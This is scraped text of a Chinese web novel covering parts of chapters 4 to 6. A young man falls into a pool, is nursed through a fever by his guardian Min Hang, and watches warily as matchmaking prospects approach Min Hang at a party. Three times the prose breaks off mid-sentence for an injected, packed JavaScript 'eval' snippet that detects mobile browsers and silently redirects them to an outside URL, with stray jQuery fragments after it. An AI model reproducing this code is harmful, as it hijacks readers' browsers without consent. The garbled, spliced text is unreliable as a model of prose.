拒绝了热心同学捞他上来的提议,沈潮安双手一撑上了岸,一阵风吹来,他忍不住打了个寒颤。 他原本就没打算游泳,所以就没有带衣服来,一个同学给他递过来一条浴巾,他只能将就裹着。 另一边夏阳和罗浩吵起来了:“你干什么吓潮安,要不是你,他也不会掉进泳池里!” 罗浩说:“我怎么知道他会这么不小心自己掉进去,我也不是故意的!” 冯倩说:“潮安同学什么也没做,是你突然冲过来,把我们都吓了一跳。” 沈潮安说:“这件事确实是个意外,但你确实吓到我们了,我和冯倩什么只是在聊天。” 罗浩原本就是一个冲动易怒的人,一听这些话就立即怒气翻涌:“哈哈,聊天,我可都听见了!冯倩!我都是为了你!我一直很努力地追求你,我那么喜欢你,但你却喜欢他,他不会喜欢你的。你看看我吧,我到底有哪里比不过他!” 冯倩的眼眶立刻就红了,难堪得差点当场跑走:“就凭你现在说的话,无论我喜欢谁都不会喜欢你!” 沈潮安惊诧地看了罗浩一眼,觉得他不仅冲动还有些蠢,也终于明白了那些针对到底从何而来,在他看来这样的事情简直来得莫名其妙。 他说:“冯倩不喜欢我,你误会了。是你喜欢她,所以将所有人都当作了假想敌。所以就因为这个,你就针对我?你未免有点……” 接下去的话没有说完,但意思已经足够明了。 冯倩眼眶红了一圈,听见他这么说,向他投来了感激的目光。 罗浩也后悔自己说错了话,周围的同学看他的眼神都不太对劲起来,他梗着脖子:“对,是我乱说。你们玩吧,我走了。” 说完就落荒而逃。 沈潮安打了个喷嚏,觉得自己今天真是倒霉得过分,东西没吃几口,就掉进了泳池里,现在也玩不下去了,只能先回家。 幸好手机放在一旁的桌子上没跟着一起掉进水里,还能叫人来接他。 “你这还不如不来呢。”夏阳陪他坐在门口等车,看着他湿透的衣服一脸惆怅。 “是啊,还不如不来呢。”沈潮安的语气却有点高兴。 他刚刚拿起手机想给司机老蒋发消息让他来接,但鬼使神差地他先告诉了闵行。 闵行说现在就来接他。 可以提早结束掉没有多少意思的聚会,还可以见到闵行,掉进泳池里呛了好几口水还真算不上什么。 夏阳还在耳边絮絮地说,他不太听得见,满心都是闵行要来接他的期待和欢喜。 这个别墅区的地段算不上好,离闵行在的CBD有段距离,其实打个网约车更节省时间,但他们都不约而同地忘记了还能打网约车这回事。 闵行到的时候沈潮安的头发已经半干了,保姆车的车门滑开,先看见的是提着两个纸袋的安雅。 “大侄子!听我哥说你掉进泳池了,给你随便买了两身衣服,你去换了我们再走。”安雅啪的一下把纸袋塞他手里。 “小姑姑,你怎么也来了?”沈潮安探头往车里看。 车里只有闵行和安雅,安夫人没来,他大大松了口气。 “快去换衣服,回来跟我说是怎么掉进去的。”闵行盯着他半湿的头发和衣服,眉头深深皱起。 “快去快回啊大侄儿!”安雅伸出长指甲想戳他脸蛋,被闵行凉凉地扫了一眼才讪笑着缩回手。 “哦,知道了。”沈潮安慢吞吞地答应又慢吞吞地走,像只温吞的卡皮巴拉。 他转身走回别墅,在他看不见的地方闵行目光沉沉,一路扫过泳池和半开的落地窗,然后又若无其事地将目光收回来。 别墅的浴室也可以用,沈潮安干脆冲了一下身体,然后才换上纸袋里的衣服。 掏袋子的时候他迟疑了,因为这两袋衣服里竟然还有内裤。 安雅也给他买了内裤吗,感觉好奇怪,但应该不是安雅买的吧。 白色的,纯棉质地,而且大小也很合适。 给他的感觉更像是闵行挑选的。 闵行也会做这种事吗? 沈潮安有种很奇怪的害羞感,他已经是个成年人了,却还要妈妈帮忙买内裤,就像个没长大的小孩子。 他已经不小了。 衣服很合身,上面喷了一点香水,闻着是甜味的女香,应该是安雅做的,为了盖住没洗过的新衣服的布料味道。 沈潮安有点别扭地走出去,贴身布料摩挲着身体,让他控制不住地想某个人把手贴在上面的样子,那只手好像在隔着布料抚摸着他。 他被自己奇怪的联想吓了一跳。 如果是被妈妈抚摸的话,也、也不是不可以……妈妈会做这种事吗,妈妈不会做这种事。 沈潮安的脑袋混混沌沌地想。 换好衣服出去,已经过去至少十分钟了。 闵行还在车上,但安雅端着盘子站在烧烤架旁边,和他的同班同学聊天聊得非常如鱼得水,自来熟得简直可怕。 看见他出来,安雅冲他招了招手:“小安,你和我哥先回去吧,这个烧烤好吃,你们班同学不介意我留下来吃你的份!” 沈潮安只好点点头:“好的小姑姑,帮我多吃点,我还想吃碳烤生蚝。” 安雅给他比了个ok的手势。 他上车坐到闵行旁边,有点欲言又止,想问问内裤的事,但又觉得没什么好问的。 闵行脸上没什么表情,伸手摸了一下他的后颈:“没着凉,怎么会掉进泳池里面了?” 沈潮安觉得痒,缩了一下:“站起来的时候没注意,被在泳池旁边追逐打闹的同学撞下去了。” 他说的是真话,只是省略掉了冯倩和罗浩的那部分。 闵行说:“回去喝点感冒药,睡前量一下体温。喉咙有不舒服吗?” 沈潮安摇摇头:“没有。应该没事的,没有吹冷风,上来的时候及时擦干了。我不想喝药,我会吐的。” 闵行心里不太赞同,但没有多说什么,只是让司机快点开回家。 回到半山别墅以后,在闵行的紧盯下沈潮安喝了一剂感冒药。 不难喝,但他不喜欢药味。小时候吃药太多,喉咙养成了遇到药就痉挛呕吐的习惯,身体反应比记忆要更加剧烈。 半个玻璃杯的感冒药是捏着鼻子喝的,一口气灌下去,手一松开就止不住地干呕。 闵行心疼坏了,轻拍他的背给他顺气:“喝下去就好了,比以前好多了,你小时候喝一口得吐半口。” 沈潮安苦着脸:“我不想吐的,但就是控制不住。” 闵行把测温枪贴近他的额头测了一下:“36.5℃,没有发烧,睡前再测一次,今晚不烧起来就没事。同学聚会好玩吗?” 沈潮安撇了撇嘴:“不好玩。” 何止是不好玩,简直就是一团糟,他到现在都还郁闷着。 闵行笑了:“有这么不好玩吗,和林乐丰的party相比呢?” 沈潮安不假思索地回答:“林乐丰的party。” 同学聚会本质上来说算不上讨厌,只是发生的一系列事情让他没了好心情。 而林乐丰的party不仅闹人而且烟酒都来,他跟着闵行去过一次。 那次以后闵行知道他不喜欢,就再也没带他去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464266|185450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但沈潮安其实不喜欢的是总有人凑上来想当他爸爸。 漂亮的男男女女像水蛇一样缠上来,行哥行哥地叫,嘴里说着交个朋友,也确实想交个那种朋友。 他因为这个不高兴,但不告诉闵行,只是捂住嘴说烟味呛,林乐丰按灭了烟叫他小祖宗,赶紧催人拿空气清新剂往包厢里一顿喷。 什么迪奥巴黎世家爱马仕通通变成柠檬香精味。 那晚他们还是没有留下来玩,闵行带着他走了,随便找了个商场夹了一晚上娃娃。 现在还新增了支票事件,沈潮安的脸色立马就不好了。 闵行轻咳一声,提起别的事转移注意力:“我给你买了点新的小礼物,你要现在看还是先猜猜?” 沈潮安想了想,决定先猜一下:“要我猜是什么吗?我猜是游戏卡带。” 闵行摇摇头:“再猜?” 沈潮安说:“新种类的昆虫化石?” 闵行说:“不是。” 他再猜了几个最近想要的东西,闵行起初脸上还带着微笑,到后来笑容缓缓消失不见。 这种情况很罕见,罕见地挑到烂礼物了,猜不到绝对不是因为他准备的礼物很惊喜,而是太烂了,完全不值得联想。 “我猜不到了,直接告诉我是什么吧。”沈潮安说。 “我可以收回去重新送吗?”闵行叹了口气,“我觉得我挑到了不太好的礼物,它们都不是你想要的。” “不可以,既然送给了我,那就是我的了。”沈潮安拒绝道。 “是一些小饰品,在下面的抽屉里。”闵行说。 沈潮安拉开了抽屉,从里面找出来几个小盒子,打开一看,是手镯和戒指,上面镶嵌的碎钻闪亮亮的。 “很漂亮,是小姑姑帮忙挑的吗,我很喜欢。”他说着,将一个细条手镯往手腕上套,套好了就晃在闵行眼前给他看。 比碎钻更加晃眼的是那条肌肤细腻的雪白小臂,隐隐透着淡青色的血管脉络,维纳斯丢失的双臂想来也不过如此。 沈潮安成年以后没有那么像个小姑娘了,但五官还是柔和得很中性化,戴饰品会很漂亮,手镯在白皙的腕间滑落,衬得那只纤长很少青筋突起的手好看极了。 “嗯,安雅帮忙挑的,她比我会挑。”闵行的眼睛从手臂上移开,他找回了点自信心,脸上的笑又慢慢回来。 “待会我会谢谢小姑姑的,我先去洗个澡。”沈潮安将盒子都抱起来,然后回楼上。 不知道是按摩浴缸太舒服还是怎么回事,他洗着洗着就在浴缸里睡着了。 还是闵行见他太久没下楼,上去敲了他的门才将他叫醒。 热水将他的手脚都泡得起了皱,浴室里都是白色的水蒸气,熏得人昏昏沉沉的。 沈潮安赶紧将身上的泡泡冲干净,然后下楼吃晚餐。 晚餐吃得很清淡,除了绿色的菜叶子就是蒸菜,沈潮安吃着觉得嘴里没味道,而且头越来越晕,可能是在浴缸里泡缺氧了。 “不吃了,好困,我想睡觉。”沈潮安把碗推开,打了个短短的哈欠,眼泪花冒出来染得眼尾微微发红。 “去测一下体温再睡。”闵行放下筷子。 沈潮安摸了摸自己的额头,感觉应该没发烧,对着额头来了一枪,显示37.1℃,只差一点就进入低烧的范畴。 “没发烧。”他说。 “今晚再看看。”闵行说。 沈潮安无精打采地点点头,回床上躺下很快就睡了过去。 他没能安稳睡到第二天早上,后半夜就烧了起来。 身体感觉很冷,头很痛,喉咙也跟着痛了起来,肌肉酸痛,就好像有十张只有重量没有温度的被子将他压在了床上,他费了好大劲才爬起来。 人在生病的时候会变得软弱,软弱的时候就会不由自主地依恋某个人,沈潮安烧得头昏脑胀,挣扎着到外面去找闵行。 他想要闵行。 闵行的房间就在隔壁,走廊静悄悄的,走过去的时候眼前阵阵发黑,他差点咚地一头撞在了闵行的房门上。 “妈妈,你睡了吗?”沈潮安还记得要敲门。 头一阵一阵地痛得发紧,胃也跟着痉挛起来,身体很烫又很冷,他感觉自己快要晕过去了。 房门打开,沈潮安靠着门,身体没有力气地向前倾倒。 没有落在地上,而是跌入了一个带着木质苦香的温暖怀抱。 妈妈的味道,真好闻啊。 5. 第 5 章 “妈妈,我好难受。”沈潮安的脸蹭在闵行的衣襟上,试图用这样的动作来缓解身体的不适。 闵行稳稳地将他抱住,隔着衣物,都能摸到这具躯体滚烫得可怕。 “发烧了,我去给你倒杯水,你先躺好,我叫家庭医生来给你开点药。”闵行的声音带着浓浓的倦意沙哑,这句话并没有什么不妥,但却给沈潮安传递了要离开的讯号。 他不想闵行离开,一个人待在又黑又安静的房间里,数着秒数等闵行回来,他不想。 “我和你一起下去。”沈潮安抓住了闵行的衣袖,抓得紧紧的,将袖口抓出了几道很深的褶皱。 “乖,我很快就回来。”闵行揉了揉他的脑袋,却被一张滚烫的脸贴上来贴得更紧了。 “妈妈不走,不要离开我。”沈潮安哀声说。 闵行的离开不是抛弃,但他依然不想闵行离开,即使只有上下楼的距离。 “好,我不走,我留在这里陪你。”闵行在心里轻轻叹了口气,将沈潮安塞回被窝里。 “嗯。”沈潮安松开了手,缩在被窝里很乖巧,“我的头好痛,喉咙也好痛,好难受啊。” “等会吃了药就好了。”闵行摸摸他的头。 头还是痛,但更多的是晕,沈潮安很快又再次睡过去。 睡得并不安稳,眼尾和嘴角都紧紧绷着,在睡梦中都没有松懈下来。 他睡了,但整个别墅都醒了。 兰姨在楼下煮粥,家庭医生在他睡着的时候来了一趟,闵行没叫醒他,家庭医生听情况判定了一下,是泳池水太脏导致的细菌感染,吃两天药还不退烧就要打吊瓶了。 沈潮安这次睡得不太长,天还没亮就又醒了一次,闵行见他醒了就不让他继续睡,而是起来吃点东西垫垫胃吃药。 “又要吃药,我不想吃。”他朝被子里拱了拱,撒娇似地抱怨着,企图逃避吃药这件事。 “不吃药就打针。”闵行说。 这种恐吓对沈潮安来说总是很奏效的。 “那还是吃药吧。”沈潮安很不情愿地从被子里出来。 喝了粥吃了药,因为干呕喉咙有点干扯着的痛感,闵行给他拿了一板润喉片,让他含着别说话。 头痛褪去以后沈潮安变得很精神,昨天睡得太多,现在他不怎么困,虽然头还是有点晕,精神却变得亢奋起来。 闵行不许他说话,于是他就给闵行发消息,闵行的手机不停地叮咚响。 房间里只有一个人说话就会显得奇怪,于是闵行拿起手机打字回他的消息。 一时间房间里只剩下了指尖敲打在手机屏幕上的噼啪声。 沈潮安说,妈妈,我想打游戏。 闵行说,不行,你要卧床静养。 沈潮安又说,我睡不着,可以看电影吗? 闵行这次答应了,可以让他看一部电影,但只能看那种合家欢的片子,烧脑悬疑惊悚的不准看,免得他又头痛。 沈潮安随便选了一部新上映的影片,毫无悬念地精准选到了一部烂片,能把人看得昏昏欲睡的那种,进度条还没过半,沈潮安就裹在毛毯里又睡着了。 闵行将他从家庭影院抱回了楼上房间,他一向睡得不怎么安稳,但这次不知道是不是退烧药的药效,他竟然没有在中途醒来。 这一天就这么昏昏沉沉,醒了睡,睡了醒,只能按照闵行叫他吃药的时间来判断现在到底几点了。 吃了一天药以后,头痛和头晕的情况改善了很多,只是肌肉依然有点酸软。 生病了就不能出门,也不能随心所欲地猛打游戏,闵行盯得有点太紧,沈潮安就只能刷刷手机作为消遣。 昨天一晚加今天白天是完全昏沉的状态,很多消息都没精力看,现在精神起来了就开始一一查阅。 有林乐丰发来的慰问,安雅的返图还有夏阳发来的八卦。 【潮安!你知不知道你走了以后发生了什么事!哈哈哈真是快要笑死我了!】 夏阳发来的文字相当有渲染力,只是看了一眼就能想象出夏阳在另一头猖狂大笑的样子。 讲八卦得有来有回才有味道,不过夏阳是等不了了,昨天发完这句话隔了两分钟没有回复以后,夏阳接着说完了他走后的聚会到底发生了什么事情。 沈潮安接着往下看下去,只看了前半段就眉头一跳,这事竟然还跟安雅有关! 夏阳说罗浩掉泳池里了,安雅撞的。 他走后安雅和他们班同学相谈甚欢,烤串啤酒没少吃,在烤龙虾的时候烤架里碳烧得差不多了,打小就没干过活的安大小姐自告奋勇要帮忙换碳。 换的时候没注意,转身一火钳就把罗浩捅咕到泳池里面去了。 罗浩也是倒霉,安雅那一下原本不至于将他捅进泳池里的,他站的地方离泳池边还有段距离呢。 谁知道他能一脚踩进地上的碳箱,一摔摔进一个瘪了的鸭子泳圈里,就这么滋溜打滑直接滑进了泳池里。 这样的发展非常戏剧性,夏阳目睹了全过程,惊得嘴里的生蚝都忘了嚼。 【你都不知道当时的场景有多震撼!罗浩砸下去,Duang大的一个水花都快有一米八了!没想到他人不高砸起的水花倒是挺高!】 沈潮安被这个描述逗笑了,回了一连串的哈哈哈。 他才没有那么好心去同情罗浩,罗浩倒霉得很解气,照他看罗浩就应该掉进泳池里十遍八遍的才对,他可真是受够了那种阴阳怪气的挤兑了。 夏阳回得很快:【你是不是生病了,从昨晚到现在,你现在才回消息】 沈潮安:【发烧了,刚退烧。罗浩这么倒霉是他应得的】 夏阳:【哎,我今天还看见他活蹦乱跳的,我看该他发烧才对】 沈潮安和夏阳东扯西扯了几句结束对话,听说罗浩倒霉他现在的心情好极了,天都聊完了脸上还一直带着笑。 闵行和他一直待在同一个房间里,这样有点蔫儿坏的笑自然也逃不过他的眼睛。 “遇到什么好玩的事情了吗?”他问。 “我们班有人掉进泳池里了。”沈潮安摸了摸脸,心想自己幸灾乐祸得有这么明显吗? “掉进泳池里的是讨厌的人吗。”闵行说。 用的是肯定的语气。 “嗯,是讨厌的人。”沈潮安想了一下赞同这个说法。 他没有展开说说的意思,不然就要告诉闵行罗浩把他吓得掉进泳池的事了。 不过事情的确是发生得太过巧合了,他都有点怀疑是安雅故意将罗浩撞进去的了。 沈潮安悄悄看了闵行一眼,要是安雅知道的话,那闵行也应该会知道。 但这怎么可能呢,应该只是个巧合罢了。 他没有再细想。 这次高烧反反复复,过去了将近一周的时间沈潮安才养好病,能出门的那天刚好就是林乐丰的酒会。 和林乐丰从前办的那些玩咖派对不同,这个偏向商务一点的酒会是让二代们来相互结交的,带的伴自然也就克制很多。 沈潮安对这种酒会的感官一般般,很明显,那群二代顶多会看在闵行的面子上和他打声招呼。 他们是不可能玩到一起的。 但闵行仍然希望他们可以建立一些合作关系。 闵行很明确地和沈潮安讲过,他不能庇护他一辈子,闵氏旗下的企业都与沈潮安无关,他只能给予他能够动用的部分,房产和信托能够保障沈潮安的基本生活。 所以他希望沈潮安能够有自己的事业,最好能在几年之内迅速成长,真正接管落在名下的公司。 沈潮安明白闵行的良苦用心,但实际做下去……嗯,只能说让公司维持了正常运行,是那种不出现在公司都不会影响公司运作的老板。 酒会当晚,沈潮安是坐安雅的车去的,闵行在公司,和他不是一路。 安雅打扮得像一盏水晶灯,香槟色裙子上的水晶闪瞎眼,沈潮安和她说话的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464267|185450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候都不敢正眼看她。 “哎,我跟你说个事儿。”安雅凑过来神神秘秘的,偌大的保姆车里只有他们两个,却做出要说悄悄话的姿势。 “什么事?”沈潮安靠过去一点,手捋住了西装下摆免得压出皱褶。 “我跟你说,我妈给我哥安排了几个相亲对象,就今晚,我哥还不知道呢,你也一起来帮忙把把关。”安雅明明是在低声说话,但在沈潮安耳朵里不亚于一声惊雷。 闵行要相亲等同于有女朋友,有女朋友就很快有未婚妻,有未婚妻就是要结婚…… 他要有小妈了。 “你说句话呀,你觉得谁比较合适我哥?”安雅凑过来,晃了晃他。 “你说什么,我刚刚没听清?”沈潮安呆了一会儿,以至于没听见安雅又说的话。 “哎我就知道,你刚刚肯定在想要偷偷告诉我哥了。先别告诉他,他还不知道呢,我们先来把把关。”安雅没想太多,将她掌握的所有资料跟沈潮安又重复了一遍。 沈潮安想笑一下,但是做不到,全程听完都是面无表情的。 安雅没发现他的表情不对劲,沈潮安的长相很温和,不笑的时候也没什么攻击性,她催促着他赶紧给自己挑个“后妈”。 “人家也不一定看上闵行。”他有点气鼓鼓地说。 “我哥这么英俊潇洒这么能力出众这么帅气多金,怎么可能看不上他!我哥超有魅力的好不好!从幼儿园到大学收到的情书在杂物房里面独占一箱!”安雅可听不得这些,铿锵有力反驳道。 “他还有囤积情书的习惯?”沈潮安摄取到了关键信息。 “嗯……那个……这个……”安雅突然支支吾吾起来。 “我去问问他。”沈潮安说。 “那什么……暗恋我哥的女生一般都是贿赂我让我帮忙递个情书,我知道我哥不会收嘛,就找了个箱子装起来,我没偷看过啊!”安雅眼神乱飞,“别告诉我哥啊,他知道了指定要揍我。” “噢,是这样啊。”沈潮安笑了起来。 他和闵行的岁数差距过大,根本无从窥见闵行的少年时期,他们没有在过一个学校过,只能凭借别人的口中得知这个时期的闵行是什么样子的。 闵行没交过女朋友,也没交过男朋友,在最有冲劲的青春时期全都用来带孩子了,成年以后又忙着继承家业,仅有的时间分得细碎,其中很大一部分都分给了沈潮安。 沈潮安总是很担心会有一个人突然闯进他们的生活,那个人可以做到他做不到的事,闵行会拥有生命中更加亲密的人,他不再会是闵行考虑的第一位…… 他很自私地希望闵行永远不要谈恋爱,那么闵行就会是只属于他一个人的了,现在只有他们两个的生活就很不错。 保姆车在路上开了半个小时,现在车速放缓,就快要停靠在林乐丰的私人俱乐部门口。 安雅在下车之前赶紧从手包里拿出一面小镜子检查自己的妆发,检查完以后还顺手过来整理了一下沈潮安,她喜欢完美亮相,沈潮安作为她的男伴自然也要完美无瑕。 虽然私人俱乐部门口没有狗仔扛着摄影机,但安雅还是拿出了走红毯的气势,优雅下车,优雅将手放进沈潮安的臂弯里。 林乐丰的私人俱乐部地处静僻,在沈潮安的眼里看来很像一座娱乐设施齐全的开放式豪宅,除了泳池吧台宴会厅这种比较基础的设施以外,顶层有娱乐室和休息间,还有半层架空了用来做露天水疗浴场。 沈潮安和安雅走进去,在吧台上拿了杯气泡水装香槟杯里就到处乱逛。 他们来得还算早,站在落地窗前能看见陆陆续续下车的人。 沈潮安抿了一口气泡水,苹果味的,喝下去酸得开胃,他还没吃晚餐,不由的想今晚会提供些什么食物。 安雅的目光一直投向窗外,在撇见某个身影的时候突然大力拐了一下他:“小安快看!那个穿蓝色露肩礼服的,我觉得她很有可能是我以后的嫂子!” 6. 第 6 章 沈潮安完全不想看,但眼睛控制不住地挪移过去。 穿蓝色礼服的女人将全部头发都盘起,露出光洁的额头和姣好的面容,很有气质,看得出来是位修养不错的女士。 沈潮安将目光挪回来,低头看气泡水挂在杯壁里的小气泡说:“有什么特别的吗,她长得没有你好看,也看不出有多有钱。” 他从刚刚那一眼就开始讨厌起了蓝礼服女人,打心底里格外抵触这位女士,说出的话也不会有多礼貌。 安雅笑得杯子晃荡:“谢谢你的夸奖,我也觉得我很好看。她叫关月琳,家里是做半导体的,发展不错。抛开这个,她本人还有双博士学位,脑瓜子很灵光呢。” 沈潮安哦了一声,说:“那她和闵行是同龄人吧,应该很有共同话题。” 这属于没话找话说,他实在不想夸赞关小姐。 闵行今年30岁,读完博士的关小姐应该也差不了几岁,光看年龄确实很能有共同话题。 安雅说:“有没有共同话题没关系啦,有共同利益就OK。你看我妈和闵叔叔,还不是有了我哥以后就各玩各的。” 沈潮安没有发表看法,无论是爱情还是单纯的利益结合,他都不希望看到闵行的身边最亲近的位置会站上一个陌生人。 “闵行还没来呢,他可真是个大忙人。”林乐丰的声音从他们后面传来。 沈潮安转身一看,林乐丰今天穿得还怪人模人样的,头上打了发蜡头发向后抓,全套棕色西装领带是蓝白红三色,比以前的花蝴蝶装扮顺眼多了。 “谁跟你似的这么闲,天天娱乐活动不重样,听说你前几天在环山公路飙车吃上罚单了?”安雅一看到林乐丰就忍不住打嘴炮。 “应该在路上了,这位是?”沈潮安看向了他身边的女人。 “这是我的堂姐林乐亦,姐,这是安雅和沈潮安。”林乐丰假装没听见安雅说话,转头介绍起了身边的女人。 林乐亦身材高挑,穿上高跟鞋比沈潮安还高小半头,和她打招呼沈潮安感受到了一种无形的压力。 俱乐部门口陆续有人下车,之前还空荡荡的会客厅转眼之间就热闹了起来。 安雅见到了小姐妹就抛下沈潮安过去火热聊天,林乐丰是主家,刚说两句话就没了影,沈潮安和这里的人都不怎么熟,也没有上去攀谈的打算,干脆就坐到窗边看闵行什么时候来。 “你是闵家的亲戚吗?”林乐亦没走,在他对面坐下,好奇地直接发问。 直白得沈潮安有点没反应过来,好几秒以后才直愣愣地点头。 他听得出来她没有恶意,只是单纯地好奇,比那些揣测他是闵行的金丝雀带着恶意看他的人要好些。 “我妈叫我来和闵行相亲,你知道闵行他喜欢哪种女人吗。”林乐亦的下一句话让沈潮安差点起身就走。 “我不知道,他还没有带过女朋友回家。”沈潮安克制住心里翻涌的厌恶,用和内心截然不同的平静口吻说。 “从来没有带过女朋友……女人呢?也没有吗?”林乐亦说。 “也没有。”沈潮安不想再聊下去了,迅速找个借口跑路,“如果没事的话我就先过去和……” “他不喜欢女人吗,那我就放心了。”林乐亦压低了声音说。 不喜欢女人吗? ? 哦,说闵行喜欢男人。 这句话在沈潮安的脑子里艰难地转了几个圈,终于转换成了有效信息。 他错愕地眨了一下眼睛:“我什么时候说……” “你们在说什么。”闵行的声音从一旁穿插进来。 在他们聊天时,闵行的车在外面停靠,下车时恰好第一眼就看见沈潮安在落地窗旁边,就径直朝他们走了过来。 “没说什么,就随便聊了聊今晚的菜单。你好,我是林乐丰的堂姐,你们先聊,我看看林乐丰去哪了。”林乐亦想走的意图很明显,端起自己的酒杯把位置让给了闵行。 “你好。”闵行朝她点点头,就将视线转回给沈潮安。 林乐亦边走边给沈潮安打眼色,让他帮忙保密他们刚刚的对话。 “你差点迟到了。”沈潮安说,“怎么这么晚才到。” “明天不想工作,干脆将所有事情都处理完再来。”闵行没有追问,而是顺着他岔开的话题说。 “在来的路上,小姑姑和我说今天的酒会上有你的相亲对象,而且不止一个。”沈潮安说。 “我不知道有这回事。”闵行的眼睛落在他的香槟杯里,“你喝香槟了吗,味道闻着不太像,是气泡水?” “是气泡水,苹果味的有点酸,今晚不打算喝酒。”沈潮安笑了起来。 闵行对这次相亲漠不关心,沈潮安的心情开始好转。 酒会的客人差不多都到齐了,很多认识闵行的人或者是想认识闵行的人接连过来打招呼。 沈潮安悄悄关注了一下,那个给他甩支票的张嘉祈没来,安雅很看好的关小姐关月琳暂时没有上前打招呼的意思。 目前没有状况,他稍稍安心。 有些交际是无可避免的,闵行被邀请到一旁的茶室里进行友好交谈,没有邀请沈潮安。 沈潮安也不想去,那样的谈话沉闷又无聊,很需要一杯咖啡捧在手里才能忍住哈欠听完。 “你怎么一个人在这里,行哥和阿雅呢?”一个温润的声音在他耳边响起。 “在和别人聊天。承平哥什么时候从法兰克福回来的,那边好玩吗?”沈潮安听出来了是陆承平的声音。 陆承平和林乐丰一样,是闵行从小玩到大的发小,对他还算关照。 “一般般,还少能够有时间闲下来到处去逛逛。不过我有去逛博物馆,看到了一些很有趣的纪念品,宝石标本和古生物复原模型,等酒会结束了拿给你。”陆承平笑着说。 “谢谢承平哥还记得我的爱好。你给闵行和安雅带了什么礼物啊,可以透露给我吗?”沈潮安笑了一下,眉眼弯起一点弧度,可以恰好让光落在瞳仁里,显得干净又透亮。 “我还想给他们保留一点惊喜感呢。”陆承平无奈笑笑,“希望我没有挑错礼物。上次我送给你的卡祖笛怎么样,有学会新曲子吗?” “没有……我觉得有点太难了,还没有学会,我现在的演奏水平只能吹半首小星星。”沈潮安有些不好意思地说。 他撒谎。 陆承平送的卡祖笛在收到的时候就被扔在架子上吃灰了,他对音乐完全不感兴趣。 和陆承平的聊天持续了一会儿,闵行从茶室里出来,安雅也朝着他们走过来,他们该一起到宴会厅去吃晚餐了。 沈潮安如释重负。 林乐丰的品味很两极分化,平时搞party的时候要多俗有多俗,现在穿了西装打了领带人模狗样了,就把一整个古典乐团搞过来搞点高雅艺术。 沈潮安听着柴可夫斯基锯牛排,手上的动作在不知不觉间和音乐的节奏越来越贴近。 晚餐味道不错,更主要是有饥饿感的加成,吃什么都会感觉好吃。 吃完晚餐又进入新一轮的闲谈,闵行这次没再被邀请去商谈一些还没有确定意向的商业合作,楼上的游戏室向这些二代们开放,在礼服的束缚下他们能玩玩桌球来作为饭后消遣。 沈潮安懒洋洋地半靠在椅子里,有一搭没一搭地和闵行聊天打发时间,要等到差不多10点的时候才能陆续离开。 现在还有大概一个小时,真不知道这群人到底哪来那么多话可以说。 闵行的相亲对象除了来和沈潮安聊过一会天的林乐亦,就没有上前主动和闵行搭话的,酒会进程过半,她们或许不会再来了。 沈潮安的戒备稍稍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464268|185450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下了一点,但很快就被安雅打破了。 安雅除了吃饭的时候座位和他们靠在一起以外,几乎消失了半个晚上,再出现就是带着关月琳走过来,将她介绍给闵行。 “哥哥,这是关月琳关小姐。关小姐,这是我的哥哥闵行,这是沈潮安。”她主要是为他们两个相互引荐,沈潮安站在一旁是顺带的。 “你们好,闵先生,沈先生。”关月琳礼貌地和他们打招呼,并伸出手准备和他们握手。 “你好。”闵行伸出手,友好地和她握了握。 她的手转向沈潮安。 沈潮安没有感觉到区别对待,关月琳很有涵养地和他握手,而不是在礼貌过后将全部关注都偏移到闵行身上。 接下来的聊天氛围很轻松愉悦,谁都能说上两句,说些兴趣爱好,说最近的见闻,谈论学业,就这么没有任何侧重点地聊,友好得就像一场普通聚会。 沈潮安的情绪有点割裂。 一方面他很清晰地感知到关小姐的平和友好,对他们所有人都一视同仁,他没有被当作陪衬而忽视,这种感觉很舒服。 另一方他对所有和闵行会发展关系的人产生厌恶,这种厌恶油然而生挥之不去,和关小姐一对比,他就像个躲在角落里面的阴险小人。 “小安,你陪我上楼打台球吧,好久没玩了,趁今天难得有机会。”安雅找了个很不走心的借口,要拉走沈潮安给闵行和关小姐一点约会空间。 沈潮安拒不配合。 “我不会打台球,你可以找林乐丰陪你玩。”他说。 “才不要他,来嘛,陪我去一趟。”安雅尴尬地哈哈一笑,站起身来就去拖沈潮安。 “他不会打,就别让他陪你了。去找冯小姐和祝小姐陪你。”闵行说。 安雅脸上的笑都僵了,她的撮合计划最大的败笔就是他们两个完全听不懂暗示的臭直男! “我陪你打吧,我在墨尔本的公寓里有一张台球桌,不忙的时候我会和我的猫一起打台球,球技还算过得去。”关小姐主动站起来说。 “还是关姐姐你人好,不像他们,哼,一个个都拒绝我。”安雅哼了一声,挽上关小姐的手离开。 关小姐走了,沈潮安的情绪处在高兴和不高兴之间。 